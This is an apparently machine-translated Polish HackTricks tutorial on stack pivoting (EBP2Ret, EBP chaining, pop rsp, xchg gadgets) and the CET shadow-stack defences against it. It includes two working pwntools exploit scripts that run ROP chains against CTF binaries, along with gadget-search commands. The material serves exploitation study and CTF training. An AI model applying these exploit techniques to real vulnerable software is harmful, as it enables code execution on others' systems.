14 KiB
Stack Pivoting - EBP2Ret - EBP chaining
{{#include ../../banners/hacktricks-training.md}}
Podstawowe informacje
Ta technika wykorzystuje możliwość manipulacji Wskaźnikiem Bazowym (EBP/RBP) do łączenia wykonania wielu funkcji poprzez staranne użycie wskaźnika ramki oraz sekwencji instrukcji leave; ret
.
Przypominając, na x86/x86-64 leave
jest równoważne z:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
I jako że zapisany EBP/RBP znajduje się na stosie przed zapisanym EIP/RIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu.
Uwagi
- W 64-bit, zamień EBP→RBP i ESP→RSP. Semantyka jest taka sama.
- Niektórzy kompilatory pomijają wskaźnik ramki (zobacz „EBP może nie być używane”). W takim przypadku
leave
może nie wystąpić i ta technika nie zadziała.
EBP2Ret
Ta technika jest szczególnie przydatna, gdy możesz zmienić zapisany EBP/RBP, ale nie masz bezpośredniego sposobu na zmianę EIP/RIP. Wykorzystuje zachowanie epilogu funkcji.
Jeśli podczas wykonywania fvuln
uda ci się wstrzyknąć fałszywy EBP na stosie, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode/łańcucha ROP (plus 8 bajtów na amd64 / 4 bajty na x86, aby uwzględnić pop
), możesz pośrednio kontrolować RIP. Gdy funkcja zwraca, leave
ustawia RSP na skonstruowaną lokalizację, a następny pop rbp
zmniejsza RSP, skutecznie wskazując na adres przechowywany przez atakującego tam. Następnie ret
użyje tego adresu.
Zauważ, że musisz znać 2 adresy: adres, na który ma iść ESP/RSP, oraz wartość przechowywaną pod tym adresem, którą ret
będzie konsumować.
Budowa Exploita
Najpierw musisz znać adres, w którym możesz zapisać dowolne dane/adresy. RSP będzie wskazywał tutaj i skonsumuje pierwszy ret
.
Następnie musisz wybrać adres używany przez ret
, który przeniesie wykonanie. Możesz użyć:
- Ważnego ONE_GADGET adresu.
- Adresu
system()
, po którym następuje odpowiedni powrót i argumenty (na x86: celret
=&system
, następnie 4 bajty śmieci, potem&"/bin/sh"
). - Adresu gadżetu
jmp esp;
(ret2esp) po którym następuje inline shellcode. - Łańcucha ROP umieszczonego w zapisywalnej pamięci.
Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanym obszarze musi być miejsce na pop ebp/rbp
z leave
(8B na amd64, 4B na x86). Możesz wykorzystać te bajty, aby ustawić drugi fałszywy EBP i utrzymać kontrolę po zwrocie z pierwszego wywołania.
Exploit Off-By-One
Istnieje wariant używany, gdy możesz zmodyfikować tylko najmniej znaczący bajt zapisanego EBP/RBP. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z ret
, musi dzielić pierwsze trzy/pięć bajtów z oryginalnym EBP/RBP, aby 1-bajtowe nadpisanie mogło go przekierować. Zwykle niski bajt (offset 0x00) jest zwiększany, aby skoczyć jak najdalej w obrębie pobliskiej strony/wyjustowanego obszaru.
Często używa się również RET sled na stosie i umieszcza prawdziwy łańcuch ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy RSP wskazuje wewnątrz sled i końcowy łańcuch ROP jest wykonywany.
Łańcuchowanie EBP
Umieszczając kontrolowany adres w zapisanym slocie EBP
na stosie i gadżet leave; ret
w EIP/RIP
, możliwe jest przeniesienie ESP/RSP
do adresu kontrolowanego przez atakującego.
Teraz RSP
jest kontrolowane, a następna instrukcja to ret
. Umieść w kontrolowanej pamięci coś takiego jak:
&(next fake EBP)
-> Ładowane przezpop ebp/rbp
zleave
.&system()
-> Wywoływane przezret
.&(leave;ret)
-> Po zakończeniusystem
przenosi RSP do następnego fałszywego EBP i kontynuuje.&("/bin/sh")
-> Argument dlasystem
.
W ten sposób możliwe jest łańcuchowanie kilku fałszywych EBP, aby kontrolować przepływ programu.
To jest jak ret2lib, ale bardziej złożone i użyteczne tylko w skrajnych przypadkach.
Ponadto, tutaj masz przykład wyzwania, które wykorzystuje tę technikę z wyciekiem stosu, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
wskazówka dotycząca wyrównania amd64: System V ABI wymaga 16-bajtowego wyrównania stosu w miejscach wywołań. Jeśli twoja łańcuch wywołuje funkcje takie jak
system
, dodaj gadżet wyrównania (np.ret
, lubsub rsp, 8 ; ret
) przed wywołaniem, aby utrzymać wyrównanie i uniknąć awariimovaps
.
EBP może nie być używane
Jak wyjaśniono w tym poście, jeśli binarka jest kompilowana z pewnymi optymalizacjami lub z pominięciem wskaźnika ramki, EBP/RBP nigdy nie kontroluje ESP/RSP. Dlatego każdy exploit działający poprzez kontrolowanie EBP/RBP zakończy się niepowodzeniem, ponieważ prolog/epilog nie przywraca z wskaźnika ramki.
- Nieoptymalizowane / używany wskaźnik ramki:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optymalizowane / wskaźnik ramki pominięty:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Na amd64 często zobaczysz pop rbp ; ret
zamiast leave ; ret
, ale jeśli wskaźnik ramki jest całkowicie pominięty, to nie ma epilogu opartego na rbp
, przez który można by przejść.
Inne sposoby kontrolowania RSP
gadżet pop rsp
Na tej stronie znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był gadżet pop rsp
i występował leak ze stosu:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Sprawdź technikę ret2esp tutaj:
{{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}}
Szybkie znajdowanie gadżetów pivot
Użyj swojego ulubionego narzędzia do wyszukiwania gadżetów, aby znaleźć klasyczne prymitywy pivot:
leave ; ret
w funkcjach lub w bibliotekachpop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(lubadd esp, <imm> ; ret
na x86)
Przykłady:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Klasyczny wzór stagingu pivotu
Robustna strategia pivotu używana w wielu CTF/eksploatach:
- Użyj małego początkowego przepełnienia, aby wywołać
read
/recv
do dużego zapisywalnego obszaru (np..bss
, heap lub mapowane pamięci RW) i umieść tam pełny łańcuch ROP. - Wróć do gadżetu pivotu (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
), aby przenieść RSP do tego obszaru. - Kontynuuj z zaplanowanym łańcuchem (np. wyciek libc, wywołanie
mprotect
, następnieread
shellcode, a potem skok do niego).
Nowoczesne zabezpieczenia, które łamią pivotowanie stosu (CET/Shadow Stack)
Nowoczesne procesory x86 i systemy operacyjne coraz częściej wdrażają CET Shadow Stack (SHSTK). Przy włączonym SHSTK, ret
porównuje adres powrotu na normalnym stosie z chronionym sprzętowo stosie cieniowym; jakiekolwiek niezgodności powodują błąd ochrony kontrolnej i kończą proces. Dlatego techniki takie jak EBP2Ret/leave;ret oparte na pivotach będą się zawieszać, gdy tylko pierwszy ret
zostanie wykonany z pivotowanego stosu.
- Dla tła i głębszych szczegółów zobacz:
{{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md {{#endref}}
- Szybkie kontrole na Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notatki do laboratoriów/CTF:
-
Niektóre nowoczesne dystrybucje włączają SHSTK dla binariów z włączonym CET, gdy dostępne jest wsparcie sprzętowe i glibc. W przypadku kontrolowanego testowania w VM, SHSTK można wyłączyć systemowo za pomocą parametru uruchamiania jądra
nousershstk
, lub selektywnie włączyć za pomocą tuningu glibc podczas uruchamiania (zobacz odniesienia). Nie wyłączaj zabezpieczeń na celach produkcyjnych. -
Techniki oparte na JOP/COOP lub SROP mogą nadal być wykonalne na niektórych celach, ale SHSTK szczególnie łamie
ret
-based pivots. -
Uwaga dotycząca Windows: Windows 10+ udostępnia tryb użytkownika, a Windows 11 dodaje tryb jądra „Hardware-enforced Stack Protection” oparty na shadow stacks. Procesy zgodne z CET zapobiegają pivotowaniu stosu/ROP przy
ret
; deweloperzy muszą się zgodzić za pomocą CETCOMPAT i powiązanych polityk (zobacz odniesienie).
ARM64
W ARM64, prolog i epilog funkcji nie przechowują ani nie pobierają rejestru SP na stosie. Ponadto, instrukcja RET
nie zwraca do adresu wskazywanego przez SP, ale do adresu wewnątrz x30
.
Dlatego, domyślnie, po prostu nadużywając epilogu nie będziesz w stanie kontrolować rejestru SP przez nadpisanie danych wewnątrz stosu. A nawet jeśli uda ci się kontrolować SP, nadal potrzebujesz sposobu na kontrolowanie rejestru x30
.
- prolog
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP wskazuje na rekord ramki
- epilog
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
[!OSTRZEŻENIE] Sposobem na wykonanie czegoś podobnego do pivotowania stosu w ARM64 byłoby być w stanie kontrolować
SP
(poprzez kontrolowanie jakiegoś rejestru, którego wartość jest przekazywana doSP
lub ponieważ z jakiegoś powoduSP
pobiera swój adres ze stosu i mamy przepełnienie) i następnie nadużyć epilogu, aby załadować rejestrx30
z kontrolowanegoSP
iRET
do niego.
Również na następnej stronie możesz zobaczyć odpowiednik Ret2esp w ARM64:
{{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}}
Odniesienia
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bity, exploity off by one z łańcuchem rop zaczynającym się od ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bity, brak relro, canary, nx i pie. Program udostępnia leak dla stosu lub pie i WWW dla qword. Najpierw uzyskaj leak stosu i użyj WWW, aby wrócić i uzyskać leak pie. Następnie użyj WWW, aby stworzyć wieczną pętlę nadużywając wpisów
.fini_array
+ wywołując__libc_csu_fini
(więcej informacji tutaj). Nadużywając tego "wiecznego" zapisu, zapisuje się łańcuch ROP w .bss i kończy wywołując go, pivotując z RBP. - Dokumentacja jądra Linux: Technologia egzekwowania przepływu kontrolnego (CET) Shadow Stack — szczegóły dotyczące SHSTK, flag
nousershstk
,/proc/$PID/status
i włączania za pomocąarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Ochrona stosu wymuszona sprzętowo w trybie jądra (shadow stacks CET w Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}}